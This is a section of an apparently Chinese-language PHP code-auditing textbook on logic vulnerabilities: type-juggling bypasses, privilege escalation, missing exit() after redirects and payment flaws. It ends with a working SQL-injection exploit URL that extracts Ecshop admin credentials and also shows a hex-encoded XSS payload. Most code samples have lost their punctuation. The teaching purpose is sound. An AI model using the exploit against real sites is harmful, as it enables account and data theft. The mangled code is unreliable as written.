6.2 逻辑处理漏洞

广义上来说,大多数的漏洞都是由于程序的逻辑失误导致的,都可以叫做逻辑漏洞,但我们这里说的逻辑漏洞没有那么大范围,这里指程序在业务逻辑上面的漏洞,业务逻辑漏洞也是一个不小的范围,在不同的业务场景有不同的漏洞出现,目前逻辑漏洞是各大企业存在最多的漏洞之一,因为逻辑漏洞在挖掘和利用时都需要进行一些逻辑判断,机器代码很难模拟这块的逻辑处理,所以无法用机器批量化扫描检测,检测的少了,现存的漏洞自然就多了。下面我们从代码层逻辑错误导致的漏洞开始分析,再到应用业务层常见漏洞分析,如支付、找回密码、程序安装等。

6.2.1 挖掘经验

由于业务逻辑漏洞大多都存在逻辑处理以及业务流程中,没有特别明显的关键字可以用来快速定位,通常这类漏洞的挖掘技巧是通读功能点源码,先熟悉这套程序的业务流程,后面挖掘起来就会比较顺畅,值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用户密码、cookie是否可预测或者说cookie验证是否可绕过等等。

6.2.1.1 等于与存在判断绕过

在逻辑漏洞里,判断函数是非常典型的一个例子,明明学校老师教的,还有官方手册里面写的,都说某某函数在某某情况下会返回true,另外一种情况下会返回false,但是一旦这些函数存在漏洞,可以逃逸这个判断函数,那这个逻辑就可以绕过了,下面我们来看看有哪些常见又有漏洞的判断函数。

1.in_array函数

in_array()函数是用来判断一个值是否在某一个数组列表里面,通常的判断方式如下:


in_array 'b' array 'a' 'b' 'c' ))

这样是没有什么问题的,我们再看下面这段代码:


< php

if
in_array $_GET['typeid'] array 1 2 3 4 ))

{

      $sql="select .... where typeid='".$_GET['typeid']."'"


echo $sql

这段代码的作用是过滤GET参数typeid在不在1,2,3,4这个数组里面,如果在里面则拼接到SQL语句里,看起来好像是没有什么问题的,但是这个in_array()函数存在一个问题,比较之前会自动做类型转换,如果我们请求/1.php?typeid=1'union select...,我们看看最终输出的SQL语句是什么,如图6-6所示。

图 6-6

可以看到我们提交的typeid参数并不全等于1,2,3,4数组里面的任何一个值,但是,还是可以绕过这个检查并且成功注入。

2.is_numeric函数

is_numeric()函数用来判断一个变量是否为数字,如果检查通过则返回true,否则返回false,我们来看如下这段代码:


< php

if
is_numeric $_GET['var'] ))

{

      $sql="insert into xx values
'xx' {$_GET['var']} "

      echo $sql


}

代码看起来好像也没有什么问题,不过这个函数存在一个问题,当传入的参数为hex时则直接通过并返回true,而MySQL是可以直接使用hex编码代替字符串明文的,所以这块虽然不能直接注入SQL语句,但是存在二次注入和XSS等漏洞隐患,比如当我们提交“<script>alert(1)</scipt>”的hex编码“0x3c7363726970743e616c6572742831293c2f73636970743e”时,最终SQL语句的效果等同于:


insert into xx values 'xx' '<script>alert 1 </scipt>'

如果应用程序有其他地方调用这个值,并且直接输出,则有可能执行这段代码,触发XSS漏洞。

3.双等于和三等于

PHP的双等于(==)和三等于(===)的区别,哪一个可能出现安全问题?这个问题是我经常在面试的时候提到,它们的区别在于,双等于在判断等于之前会先做变量类型转换,而三等于则不会,由于数据类型被改变,所以双等于在判断的时候可能存在安全风险,下面我们用代码来证明一下,代码如下:


< php

var_dump
$_GET['var']==2 );

当我们请求/1.php?var=2aaa时,如图6-7所示。

图 6-7

输出结果为true,请求/1.php?var=3aaa时输出结果为false,说明判断之前成功完成了变量类型转换,这里跟上面我们说的in_array()函数是一样的道理。

我们再来测试三等于(===),代码如下:


< php

var_dump
$_GET['var']===2 );

当我们再次提交/1.php?var=2aaa时,此时返回为false,说明这里没有进行类型转换,如图6-8所示。

图 6-8

6.2.1.2 账户体系中的越权漏洞

越权漏洞分为水平越权和垂直越权,水平越权指原相同等级权限的用户,A用户可以查看或操作到B用户的私有信息,而这个查看或操作权限本来是A用户不该拥有的权限。垂直权限指不在同权限等级的用户,低权限等级的用户A可以查看或操作高权限等级B的私有信息,而这个查看或操作权限本来是A用户不该拥有的权限。

水平越权和垂直越权的定义不一样,但漏洞原理是一样的,都是账户体系上在判断权限时不严格导致存在绕过漏洞,这一类的绕过通常发生在cookie验证不严、简单判断用户提交的参数,归根结底,都是因为这些参数是在客户端提交,服务器端未严格校验。举个简单的例子,当前A用户查看自己详细订单的URL为/1.php?orderid=111,当用户手动提交/1.php?orderid=112时,则可以看到订单id为112的订单详细情况。这里的逻辑比较简单,不再使用代码进行讲解分析。

6.2.1.3 未exit或return引发的安全问题

某些情况下,在经过if条件判断之后,有两种操作,一种是继续执行if后面的代码,另外一种是在if体内退出当前操作,但是这个退出行为,有不少程序忘记写return、die()或者exit(),导致程序还是会继续执行。我们来看一个举例,代码如下:


< php

if
file_exists 'install.lock' )))

{

      //
程序已经安装,跳转到首页

      header
"Location ../" );  

}

//
…进入安装流程

很多程序的安装页面install.php文件的内容都有这么一段判断程序是否已经安装的代码,这段代码的意思是,判断“install.lock”文件是否存在,如果存在则跳转到首页,问题出在使用了header()函数跳转,但是PHP程序并没有退出,还是会进入安装流程。我们把代码改一下来测试这个header()函数,代码如下所示:


< php

if
$_GET['var']==='aa'

{

      //
程序已经安装,跳转到首页

      header
"Location ../" );  

}

echo $_GET['var']

当我们用浏览器访问的时候是看不到输出的$_GET参数的,因为浏览器接受到跳转指令后会立马跳转,我们用burp来抓返回的数据如图6-9所示。

图 6-9

可以看到输出了“aa”,说明经过header()函数之后程序依然继续执行了,正确的写法应该是在header()函数之后加一个exit()或者die()。

6.2.1.4 常见支付漏洞

曾经有不少体量不小的电子商务网站都出现过支付漏洞,最终导致的结果是不花钱或者花很少的钱买更多的东西,还真的有不少人测试漏洞之后真的收到了东西,这种天上掉馅饼的漏洞太有诱惑力了。最常见的支付漏洞有四种,下面我们来看看这四种情况在代码审计的时候应该怎么挖。

第一、二、三种比较简单,分别是客户端可修改单价、总价和购买数量,服务器端未校验严格导致,比如在支付的时候一般购物车都如图6-10所示。

图 6-10

从图中我们可以看到三个关键元素,单价、总价和数量,这三个数字不管是哪个被改变,都会影响最终成交价格,部分商城程序是直接由单价和数量计算总价,但是并没有验证这两个数字是否小于0,在上图的例子中,驾驶服务器没有验证数量这个数字,我们可以在客户端把数字改成负数然后提交上去,这类的case很多,具体的可以到乌云(wooyun.org)查看,这种形式的支付漏洞,只要我们找到支付功能代码,看看代码过滤情况即可挖掘到。

还有一种是以重复发包来利用时间差,以少量的钱多次购买,说到大家以前听过比较多的就是手机刷QQ钻了,也是利用同样的原理,利用手机快速给腾讯发送一条开通QQ业务的短信,发送完之后再快速发送一条取消业务的短信到短信运营商,真正的漏洞出现在短信运营商那边而不是腾讯。很多IDC开通VPS等业务的系统也存在这种漏洞,大概的原理如图6-11所示。

我们从图中可以看到一开始程序判断余额足够,然后两个订单都进入到服务开通流程,但是并还没有扣费,我们就是利用这个服务开通流程所花费的时间来多次开通业务。

我们在做代码审计挖掘这类漏洞的时候,可以注意寻找下面这种形式的代码:

图 6-11


< php

//
判断余额是否足够,足够则返回 true

if
check_money $price ))

{

      //Do something

      //
花费几秒

      $money = $money - $price


}

或者是在“Do something”代码段的地方调用其他API或脚本,而扣费也是在其他API或脚本里面完成。

6.2.1.5 Ecshop逻辑错误注入分析

这里我们用一个比较经典的ecshop支付宝支付插件漏洞来分析一下,据说这个漏洞出自360攻防实验室。漏洞核心代码在\includes\modules\payment\alipay.php文件respond()函数,代码如下:


function respond ()

    {

        if
(! empty $_POST ))

        {

        foreach
$_POST as $key => $data

        {

             $_GET[$key] = $data


        }

    }

    $payment  = get_payment
$_GET['code'] );

    $seller_email = rawurldecode
$_GET['seller_email'] );

    $order_sn = str_replace
$_GET['subject'] '' $_GET['out_trade_no'] );

    $order_sn = trim
$order_sn );

    /*
检查支付的金额是否相符 */

    if
(! check_money $order_sn $_GET['total_fee'] ))

    {

/*----
省略 ----*/

$order_sn变量由str_replace($_GET['subject'],'',$_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\。

最终$order_sn被带入check_money()函数。我们跟进看一下在include\lib_payment.php文件中109行,代码如下:


function check_money $log_id $money

{

    $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table
'pay_log' .

           " WHERE log_id = '$log_id'"


    $amount = $GLOBALS['db']->getOne
$sql );

    if
$money == $amount

    {

    /*----
省略 ----*/

此处就是漏洞现场。原来的$order_sn被带入了数据库导致注入漏洞存在,这个漏洞的逻辑问题就在于本来一个已经过滤掉特殊字符的参数,又再次被用户自定义提交上来的参数替换,导致原来的过滤符合反斜杠被替换掉,程序员在写代码的时候没有考虑到这块的逻辑问题。

利用实践:首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的,测试代码如下:


< php

$a=addslashes
$_GET['a'] );

$b=addslashes
$_GET['b'] );

print_r
$a.'<br />' );

print_r
$b.'<br />' );

print_r
str_replace $a '' $b ));? >

效果图如图6-12所示。

图 6-12

最终漏洞的利用效果如下:


EXP http //localhost/ecshop/respond.php code=alipay&subject=0&out_trade_no=%00 and select * from select count * ), concat floor rand 0 *2 ),( select concat user_name password from ecs_admin_user limit 1 )) a from information_schema.tables group by a xxx -- 1

结果如图6-13所示。

图 6-13

6.2.2 漏洞防范

通过分析我们之前列举的几种逻辑漏洞,可以看到所有的逻辑漏洞都是因为开发者对业务逻辑或者代码逻辑理解不清楚导致。每一种业务功能都有可能导致逻辑漏洞的产生,而业务功能里面的实现逻辑是人思考出来的,所以要解决这类逻辑问题需要注意以下两点:

·要深入熟悉业务逻辑,只有我们熟悉了业务的逻辑,才能根据业务需要编写满足需求而又不画蛇添足的代码。

·要注意多熟悉函数的功能和差异,因为很多写代码写得很熟悉的人出现bug通常不是因为多一个字母或者少一个分号,而是代码执行逻辑上面考虑不周全导致。